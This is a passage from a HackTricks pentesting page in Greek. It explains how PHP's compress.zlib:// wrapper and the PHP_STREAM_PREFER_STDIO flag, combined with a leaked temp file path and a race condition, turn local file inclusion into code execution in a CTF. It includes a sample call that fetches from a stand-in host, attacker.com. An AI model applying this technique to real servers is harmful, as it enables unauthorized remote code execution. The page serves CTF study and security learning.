hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

5.5 KiB
Raw Blame History

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

compress.zlib:// και PHP_STREAM_PREFER_STDIO

Ένα αρχείο που ανοίγεται χρησιμοποιώντας το πρωτόκολλο compress.zlib:// με την σημαία PHP_STREAM_PREFER_STDIO μπορεί να συνεχίσει να γράφει δεδομένα που φτάνουν στη σύνδεση αργότερα στο ίδιο αρχείο.

Αυτό σημαίνει ότι μια κλήση όπως:

file_get_contents("compress.zlib://http://attacker.com/file")

Θα στείλει ένα αίτημα ζητώντας το http://attacker.com/file, τότε ο διακομιστής μπορεί να απαντήσει στο αίτημα με μια έγκυρη HTTP απάντηση, να κρατήσει τη σύνδεση ανοιχτή και να στείλει επιπλέον δεδομένα κάποια στιγμή αργότερα που θα γραφούν επίσης στο αρχείο.

Μπορείτε να δείτε αυτές τις πληροφορίες σε αυτό το μέρος του κώδικα php-src στο main/streams/cast.c:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Race Condition to RCE

Αυτό το CTF λύθηκε χρησιμοποιώντας το προηγούμενο κόλπο.

Ο επιτιθέμενος θα κάνει τον διακομιστή-στόχο να ανοίξει μια σύνδεση διαβάζοντας ένα αρχείο από τον διακομιστή του επιτιθέμενου χρησιμοποιώντας το compress.zlib πρωτόκολλο.

Ενώ αυτή η σύνδεση υπάρχει, ο επιτιθέμενος θα εξάγει τη διαδρομή στο προσωρινό αρχείο που δημιουργήθηκε (είναι διαρροή από τον διακομιστή).

Ενώ η σύνδεση είναι ακόμα ανοιχτή, ο επιτιθέμενος θα εκμεταλλευτεί μια LFI φορτώνοντας το προσωρινό αρχείο που ελέγχει.

Ωστόσο, υπάρχει ένας έλεγχος στον διακομιστή ιστού που αποτρέπει τη φόρτωση αρχείων που περιέχουν <?. Επομένως, ο επιτιθέμενος θα εκμεταλλευτεί μια Race Condition. Στη σύνδεση που είναι ακόμα ανοιχτή, ο επιτιθέμενος θα στείλει το PHP payload ΜΕΤΑ τον έλεγχο του διακομιστή ιστού αν το αρχείο περιέχει τους απαγορευμένους χαρακτήρες αλλά ΠΡΙΝ φορτώσει το περιεχόμενό του.

Για περισσότερες πληροφορίες, ελέγξτε την περιγραφή της Race Condition και του CTF στο https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}